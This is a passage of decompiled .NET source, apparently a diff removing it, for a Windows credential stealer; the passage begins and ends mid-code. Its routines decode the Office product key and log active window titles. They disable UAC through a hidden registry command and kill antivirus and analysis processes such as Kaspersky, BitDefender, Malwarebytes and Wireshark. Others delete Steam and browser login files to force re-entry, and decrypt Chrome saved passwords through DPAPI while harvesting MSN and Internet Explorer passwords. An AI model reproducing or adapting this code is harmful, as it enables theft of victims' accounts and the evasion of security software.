295: - case 298: - case 299: - goto label_262; - case 296: - goto label_260; - case 297: - goto label_261; - case 300: - goto label_263; - case 301: - goto label_264; - case 302: - goto label_265; - case 303: - case 306: - case 307: - goto label_268; - case 304: - goto label_266; - case 305: - goto label_267; - case 308: - goto label_269; - case 309: - goto label_270; - case 310: - goto label_271; - case 311: - case 314: - case 315: - goto label_274; - case 312: - goto label_272; - case 313: - goto label_273; - case 316: - goto label_275; - case 317: - goto label_276; - case 318: - goto label_277; - case 319: - goto label_278; - case 320: - goto label_279; - case 321: - goto label_280; - case 322: - goto label_281; - case 323: - case 324: - goto label_282; - case 325: - goto label_283; - case 326: - case 329: - case 330: - goto label_286; - case 327: - goto label_284; - case 328: - goto label_285; - case 331: - goto label_287; - case 332: - goto label_288; - case 333: - goto label_289; - case 334: - goto label_290; - case 335: - goto label_291; - case 336: - goto label_292; - case 337: - goto label_293; - case 338: - goto label_294; - case 339: - case 340: - goto label_295; - case 341: - case 342: - goto label_296; - case 343: - goto label_297; - case 344: - goto label_298; - case 345: - goto label_299; - case 346: - goto label_300; - case 347: - goto label_301; - case 348: - goto label_302; - case 349: - goto label_303; - case 350: - goto label_304; - case 351: - goto label_305; - case 352: - goto label_306; - case 353: - case 354: - goto label_307; - case 355: - goto label_308; - case 356: - goto label_309; - case 357: - goto label_310; - case 358: - goto label_311; - case 359: - goto label_312; - case 360: - goto label_313; - case 361: - goto label_314; - case 362: - case 363: - goto label_315; - case 364: - goto label_316; - case 365: - goto label_317; - case 366: - goto label_318; - case 367: - goto label_319; - case 368: - goto label_320; - case 369: - goto label_321; - case 370: - goto label_322; - case 371: - goto label_323; - case 372: - goto label_324; - case 373: - goto label_325; - case 374: - case 375: - case 378: - case 379: - goto label_328; - case 376: - goto label_326; - case 377: - goto label_327; - case 380: - goto label_329; - case 381: - goto label_330; - case 382: - case 383: - goto label_331; - case 384: - goto label_332; - case 385: - case 386: - goto label_333; - case 387: - goto label_334; - case 388: - goto label_335; - case 389: - goto label_336; - case 390: - case 393: - case 396: - case 399: - case 400: - case 401: - goto label_343; - case 391: - goto label_337; - case 392: - goto label_338; - case 394: - goto label_339; - case 395: - goto label_340; - case 397: - goto label_341; - case 398: - goto label_342; - case 402: - goto label_344; - case 403: - goto label_345; - case 404: - goto label_346; - case 405: - case 408: - case 409: - goto label_349; - case 406: - goto label_347; - case 407: - goto label_348; - case 410: - goto label_350; - case 411: - goto label_351; - case 412: - goto label_352; - case 413: - case 416: - case 417: - goto label_355; - case 414: - goto label_353; - case 415: - goto label_354; - case 418: - goto label_356; - case 419: - goto label_357; - case 420: - goto label_358; - case 421: - goto label_359; - case 422: - goto label_360; - case 423: - case 426: - case 427: - goto label_363; - case 424: - goto label_361; - case 425: - goto label_362; - case 428: - goto label_364; - case 429: - goto label_365; - case 430: - goto label_366; - case 431: - case 434: - case 435: - goto label_369; - case 432: - goto label_367; - case 433: - goto label_368; - case 436: - goto label_370; - case 437: - goto label_371; - case 438: - goto label_372; - case 439: - case 442: - case 443: - goto label_375; - case 440: - goto label_373; - case 441: - goto label_374; - case 444: - goto label_376; - case 445: - goto label_377; - case 446: - goto label_378; - case 447: - case 450: - case 451: - goto label_387; - case 448: - goto label_379; - case 449: - goto label_380; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_382; - } - throw ProjectData.CreateProjectError(-2146828237); -label_387: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void office_fuckkey() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string str = (string) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Office\\12.0\\Registration\\{91120000-002F-0000-0000-0000000FF1CE}").GetValue("ProductName"); -label_2: - num3 = 3; - this.officekey = this.officekey + str + "\r\n"; -label_3: - num3 = 4; - byte[] digitalProductId = xxx.GetRegistryDigitalProductId(xxx.Key.Office12); -label_4: - num3 = 5; - this.officekey = this.officekey + xxx.DecodeProductKey(digitalProductId) + "\r\n\r\n"; - goto label_11; -label_6: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_11; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_6; - } - throw ProjectData.CreateProjectError(-2146828237); -label_11: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void Label14_Click(object sender, EventArgs e) - { - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (Operators.CompareString(this.strin, this.GetActiveWindowTitle(), false) == 0) - return; - this.TextBox1.Text = this.TextBox1.Text + "\r\n[------" + this.GetActiveWindowTitle() + "------]\r\n"; - this.strin = this.GetActiveWindowTitle(); - } - - public void Fuck_Uac() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Interaction.Shell("C:\\Windows\\System32\\cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - goto label_8; -label_3: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_8; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_3; - } - throw ProjectData.CreateProjectError(-2146828237); -label_8: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void AntiKeyscrambler() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process[] processes = Process.GetProcesses(); -label_2: - num3 = 3; - int num4 = checked (processes.Length - 1); - int index = 0; - goto label_7; -label_3: - num3 = 4; - string Left = Microsoft.VisualBasic.Strings.LCase(processes[index].ProcessName); -label_4: - num3 = 7; - if (Operators.CompareString(Left, "keyscrambler", false) != 0) - goto label_6; -label_5: - num3 = 8; - processes[index].Kill(); -label_6: - num3 = 12; - checked { ++index; } -label_7: - if (index <= num4) - goto label_3; - else - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 9: - case 10: - case 11: - case 12: - goto label_6; - case 6: - case 7: - goto label_4; - case 8: - goto label_5; - case 13: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void AntiWireshark() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process[] processes = Process.GetProcesses(); -label_2: - num3 = 3; - int num4 = checked (processes.Length - 1); - int index = 0; - goto label_7; -label_3: - num3 = 4; - string Left = Microsoft.VisualBasic.Strings.LCase(processes[index].ProcessName); -label_4: - num3 = 7; - if (Operators.CompareString(Left, "wireshark", false) != 0) - goto label_6; -label_5: - num3 = 8; - processes[index].Kill(); -label_6: - num3 = 12; - checked { ++index; } -label_7: - if (index <= num4) - goto label_3; - else - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 9: - case 10: - case 11: - case 12: - goto label_6; - case 6: - case 7: - goto label_4; - case 8: - goto label_5; - case 13: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void AntiAnubis() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process[] processes = Process.GetProcesses(); -label_2: - num3 = 3; - int num4 = checked (processes.Length - 1); - int index = 0; - goto label_7; -label_3: - num3 = 4; - string Left = Microsoft.VisualBasic.Strings.LCase(processes[index].ProcessName); -label_4: - num3 = 7; - if (Operators.CompareString(Left, "anubis", false) != 0) - goto label_6; -label_5: - num3 = 8; - processes[index].Kill(); -label_6: - num3 = 12; - checked { ++index; } -label_7: - if (index <= num4) - goto label_3; - else - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 9: - case 10: - case 11: - case 12: - goto label_6; - case 6: - case 7: - goto label_4; - case 8: - goto label_5; - case 13: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void AntiMalwarebytes() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process[] processes = Process.GetProcesses(); -label_2: - num3 = 3; - int num4 = checked (processes.Length - 1); - int index = 0; - goto label_7; -label_3: - num3 = 4; - string Left = Microsoft.VisualBasic.Strings.LCase(processes[index].ProcessName); -label_4: - num3 = 7; - if (Operators.CompareString(Left, "mbam", false) != 0) - goto label_6; -label_5: - num3 = 8; - processes[index].Kill(); -label_6: - num3 = 12; - checked { ++index; } -label_7: - if (index <= num4) - goto label_3; - else - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 9: - case 10: - case 11: - case 12: - goto label_6; - case 6: - case 7: - goto label_4; - case 8: - goto label_5; - case 13: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void AntiKaspersky() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process[] processes = Process.GetProcesses(); -label_2: - num3 = 3; - int num4 = checked (processes.Length - 1); - int index = 0; - goto label_7; -label_3: - num3 = 4; - string Left = Microsoft.VisualBasic.Strings.LCase(processes[index].ProcessName); -label_4: - num3 = 7; - if (Operators.CompareString(Left, "avp", false) != 0) - goto label_6; -label_5: - num3 = 8; - processes[index].Kill(); -label_6: - num3 = 12; - checked { ++index; } -label_7: - if (index <= num4) - goto label_3; - else - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 9: - case 10: - case 11: - case 12: - goto label_6; - case 6: - case 7: - goto label_4; - case 8: - goto label_5; - case 13: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void AntiOllydbg() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process[] processes = Process.GetProcesses(); -label_2: - num3 = 3; - int num4 = checked (processes.Length - 1); - int index = 0; - goto label_7; -label_3: - num3 = 4; - string Left = Microsoft.VisualBasic.Strings.LCase(processes[index].ProcessName); -label_4: - num3 = 7; - if (Operators.CompareString(Left, "ollydbg", false) != 0) - goto label_6; -label_5: - num3 = 8; - processes[index].Kill(); -label_6: - num3 = 12; - checked { ++index; } -label_7: - if (index <= num4) - goto label_3; - else - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 9: - case 10: - case 11: - case 12: - goto label_6; - case 6: - case 7: - goto label_4; - case 8: - goto label_5; - case 13: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void AntiOutpost() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process[] processes = Process.GetProcesses(); -label_2: - num3 = 3; - int num4 = checked (processes.Length - 1); - int index = 0; - goto label_7; -label_3: - num3 = 4; - string Left = Microsoft.VisualBasic.Strings.LCase(processes[index].ProcessName); -label_4: - num3 = 7; - if (Operators.CompareString(Left, "outpost", false) != 0) - goto label_6; -label_5: - num3 = 8; - processes[index].Kill(); -label_6: - num3 = 12; - checked { ++index; } -label_7: - if (index <= num4) - goto label_3; - else - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 9: - case 10: - case 11: - case 12: - goto label_6; - case 6: - case 7: - goto label_4; - case 8: - goto label_5; - case 13: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void AntiNorman() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process[] processes = Process.GetProcesses(); -label_2: - num3 = 3; - int num4 = checked (processes.Length - 1); - int index = 0; - goto label_7; -label_3: - num3 = 4; - string Left = Microsoft.VisualBasic.Strings.LCase(processes[index].ProcessName); -label_4: - num3 = 7; - if (Operators.CompareString(Left, "npfmsg", false) != 0) - goto label_6; -label_5: - num3 = 8; - processes[index].Kill(); -label_6: - num3 = 12; - checked { ++index; } -label_7: - if (index <= num4) - goto label_3; - else - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 9: - case 10: - case 11: - case 12: - goto label_6; - case 6: - case 7: - goto label_4; - case 8: - goto label_5; - case 13: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void AntiBitDefender() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process[] processes = Process.GetProcesses(); -label_2: - num3 = 3; - int num4 = checked (processes.Length - 1); - int index = 0; - goto label_7; -label_3: - num3 = 4; - string Left = Microsoft.VisualBasic.Strings.LCase(processes[index].ProcessName); -label_4: - num3 = 7; - if (Operators.CompareString(Left, "bdagent", false) != 0) - goto label_6; -label_5: - num3 = 8; - processes[index].Kill(); -label_6: - num3 = 12; - checked { ++index; } -label_7: - if (index <= num4) - goto label_3; - else - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 9: - case 10: - case 11: - case 12: - goto label_6; - case 6: - case 7: - goto label_4; - case 8: - goto label_5; - case 13: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void AntiNOD32() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process[] processes = Process.GetProcesses(); -label_2: - num3 = 3; - int num4 = checked (processes.Length - 1); - int index = 0; - goto label_7; -label_3: - num3 = 4; - string Left = Microsoft.VisualBasic.Strings.LCase(processes[index].ProcessName); -label_4: - num3 = 7; - if (Operators.CompareString(Left, "egui", false) != 0) - goto label_6; -label_5: - num3 = 8; - processes[index].Kill(); -label_6: - num3 = 12; - checked { ++index; } -label_7: - if (index <= num4) - goto label_3; - else - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 9: - case 10: - case 11: - case 12: - goto label_6; - case 6: - case 7: - goto label_4; - case 8: - goto label_5; - case 13: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void AntiZoneAlarm() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process[] processes = Process.GetProcesses(); -label_2: - num3 = 3; - int num4 = checked (processes.Length - 1); - int index = 0; - goto label_7; -label_3: - num3 = 4; - string Left = Microsoft.VisualBasic.Strings.LCase(processes[index].ProcessName); -label_4: - num3 = 7; - if (Operators.CompareString(Left, "zlclient", false) != 0) - goto label_6; -label_5: - num3 = 8; - processes[index].Kill(); -label_6: - num3 = 12; - checked { ++index; } -label_7: - if (index <= num4) - goto label_3; - else - goto label_14; -label_9: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - case 9: - case 10: - case 11: - case 12: - goto label_6; - case 6: - case 7: - goto label_4; - case 8: - goto label_5; - case 13: - goto label_14; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_9; - } - throw ProjectData.CreateProjectError(-2146828237); -label_14: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void forcesteam() - { - try - { - string path = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\Steam\\config\\SteamAppData.vdf"; - if (System.IO.File.Exists(path)) - System.IO.File.Delete(path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - string path = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\Steam\\config\\SteamAppData.vdf"; - if (!System.IO.File.Exists(path)) - return; - System.IO.File.Delete(path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void steam() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string str = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\Steam", "InstallPath", (object) null)); -label_2: - num3 = 3; - FileSystem.Kill(str + "ClientRegistry.blob"); - goto label_9; -label_4: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_9; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_4; - } - throw ProjectData.CreateProjectError(-2146828237); -label_9: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public void KillProcesses(bool InternetExplorer, bool Firefox) - { - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (Firefox) - { - if (process.MainWindowTitle.Contains("Mozilla Firefox")) - process.Kill(); - else if (Operators.CompareString(process.ProcessName, "firefox.exe", false) == 0) - process.Kill(); - } - if (InternetExplorer) - { - if (process.MainWindowTitle.Contains("Internet Explorer")) - process.Kill(); - else if (Operators.CompareString(process.ProcessName, "iexplore.exe", false) == 0) - process.Kill(); - } - checked { ++index; } - } - } - - public void DeleteIECookies(bool Enable) - { - if (!Enable) - return; - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Cookies); - if (!Directory.Exists(folderPath)) - return; - try - { - foreach (string file in MyProject.Computer.FileSystem.GetFiles(folderPath)) - { - try - { - MyProject.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - - public void DeleteMozillaCookies(bool Enable) - { - if (!Enable) - return; - string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles"; - if (!Directory.Exists(str)) - return; - try - { - foreach (string directory in MyProject.Computer.FileSystem.GetDirectories(str)) - { - try - { - foreach (string file in MyProject.Computer.FileSystem.GetFiles(directory)) - { - if (file.Contains("cookie")) - { - try - { - MyProject.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - - public void DeleteMozillaSignons(bool Enable) - { - if (!Enable) - return; - string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles"; - if (!Directory.Exists(str)) - return; - try - { - foreach (string directory in MyProject.Computer.FileSystem.GetDirectories(str)) - { - try - { - foreach (string file in MyProject.Computer.FileSystem.GetFiles(directory)) - { - if (file.Contains("signon")) - { - try - { - MyProject.Computer.FileSystem.DeleteFile(file); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - - public void GetChrome() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Web Data"; -label_2: - num3 = 3; - if (!System.IO.File.Exists(path)) - goto label_26; -label_3: - num3 = 4; - SqlConnection sqlConnection = new SqlConnection(); -label_4: - num3 = 5; - sqlConnection.ConnectionString = "Data Source=" + path + ";"; -label_5: - num3 = 6; - sqlConnection.Open(); -label_6: - num3 = 7; - SqlCommand command = sqlConnection.CreateCommand(); -label_7: - num3 = 8; - command.CommandText = "SELECT * FROM logins"; -label_8: - num3 = 9; - SqlDataReader sqlDataReader = command.ExecuteReader(); - goto label_17; -label_9: - num3 = 12; - string str = Conversions.ToString(sqlDataReader["origin_url"]); -label_10: - num3 = 13; - string Left1 = Conversions.ToString(sqlDataReader["username_value"]); -label_11: - num3 = 14; - string Left2 = Form1.Decrypt((byte[]) sqlDataReader["password_value"]); -label_12: - num3 = 15; - if (!(Operators.CompareString(Left1, "", false) != 0 & Operators.CompareString(Left2, "", false) != 0)) - goto label_17; -label_13: - num3 = 16; - ListViewItem listViewItem = new ListViewItem(); -label_14: - num3 = 17; - listViewItem.Text = str; -label_15: - num3 = 18; - this.chromefuck = "---------------------------------------------\r\nWebsite: " + str + "\r\nUsername: " + Left1 + "\r\nPassword: " + Left2 + "\r\n---------------------------------------------\r\n "; -label_16: - num3 = 19; - this.TextBox8.Text = this.chromefuck; -label_17: - num3 = 11; - if (sqlDataReader.Read()) - goto label_9; -label_18: - num3 = 22; - command.Dispose(); -label_19: - num3 = 23; - sqlConnection.Close(); - goto label_26; -label_21: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - case 11: - case 20: - case 21: - goto label_17; - case 12: - goto label_9; - case 13: - goto label_10; - case 14: - goto label_11; - case 15: - goto label_12; - case 16: - goto label_13; - case 17: - goto label_14; - case 18: - goto label_15; - case 19: - goto label_16; - case 22: - goto label_18; - case 23: - goto label_19; - case 24: - case 25: - goto label_26; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_21; - } - throw ProjectData.CreateProjectError(-2146828237); -label_26: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - [DllImport("Crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern bool CryptUnprotectData( - ref Form1.DATA_BLOB pDataIn, - string szDataDescr, - ref Form1.DATA_BLOB pOptionalEntropy, - IntPtr pvReserved, - ref Form1.CRYPTPROTECT_PROMPTSTRUCT pPromptStruct, - int dwFlags, - ref Form1.DATA_BLOB pDataOut); - - public static string Decrypt(byte[] Datas) - { - Form1.DATA_BLOB dataBlob1 = new Form1.DATA_BLOB(); - Form1.DATA_BLOB dataBlob2 = new Form1.DATA_BLOB(); - GCHandle gcHandle = GCHandle.Alloc((object) Datas, GCHandleType.Pinned); - dataBlob1.pbData = gcHandle.AddrOfPinnedObject(); - dataBlob1.cbData = Datas.Length; - gcHandle.Free(); - ref Form1.DATA_BLOB local1 = ref dataBlob1; - Form1.DATA_BLOB dataBlob3; - Form1.DATA_BLOB dataBlob4 = dataBlob3; - ref Form1.DATA_BLOB local2 = ref dataBlob4; - IntPtr num; - IntPtr pvReserved = num; - Form1.CRYPTPROTECT_PROMPTSTRUCT cryptprotectPromptstruct1; - Form1.CRYPTPROTECT_PROMPTSTRUCT cryptprotectPromptstruct2 = cryptprotectPromptstruct1; - ref Form1.CRYPTPROTECT_PROMPTSTRUCT local3 = ref cryptprotectPromptstruct2; - ref Form1.DATA_BLOB local4 = ref dataBlob2; - Form1.CryptUnprotectData(ref local1, (string) null, ref local2, pvReserved, ref local3, 0, ref local4); - byte[] numArray = new byte[checked (dataBlob2.cbData + 1)]; - Marshal.Copy(dataBlob2.pbData, numArray, 0, dataBlob2.cbData); - string str = Encoding.Default.GetString(numArray); - return str.Substring(0, checked (str.Length - 1)); - } - - private void msn_fuck_x() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - IEnumerator enumerator1 = this.PMSNExplorer.GetEnumerator(); - goto label_5; -label_3: - num3 = 3; - CMSNExplorerPassword current1; - this.msn1 = "---------------------------------------------\r\nEmail: " + current1.Email + "\r\nPassword: " + current1.Password + "\r\n--------------------------------------------- "; -label_4: - num3 = 4; -label_5: - if (enumerator1.MoveNext()) - { - current1 = enumerator1.Current; - goto label_3; - } - else - enumerator1?.Dispose(); -label_8: - num3 = 5; - IEnumerator enumerator2 = this.PMSNMessenger.GetEnumerator(); - goto label_12; -label_10: - num3 = 6; - CMSNMessengerPassword current2; - this.msn2 = "---------------------------------------------\r\nLogin: " + current2.Login + "\r\nPassword: " + current2.Password + "\r\nTargetname: " + current2.TargetName + "\r\n--------------------------------------------- "; -label_11: - num3 = 7; -label_12: - if (enumerator2.MoveNext()) - { - current2 = enumerator2.Current; - goto label_10; - } - else if (enumerator2 != null) - { - enumerator2.Dispose(); - goto label_21; - } - else - goto label_21; -label_16: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_3; - case 4: - goto label_4; - case 5: - goto label_8; - case 6: - goto label_10; - case 7: - goto label_11; - case 8: - goto label_21; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_16; - } - throw ProjectData.CreateProjectError(-2146828237); -label_21: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private void FuckIe() - { - try - { - foreach (CIEPassword ciePassword in this.PIE) - this.ie = "---------------------------------------------\r\nWebSite: " + ciePassword.ResourceName + "\r\nUsername: " + ciePassword.UserName + "\r\nPassword: " + ciePassword.Password + "\r\n--------------------------------------------- "; - } - finally - { - IEnumerator enumerator; - enumerator?.Dispose(); - } - } - - public string GetHDSerial() => new ManagementObject("Win32_LogicalDisk.DeviceID=\"C:\"").Properties["VolumeSerialNumber"].Value.ToString(); - - public string paltalkscene() - { - char[] charArray1 = this.GetHDSerial().ToCharArray(); - 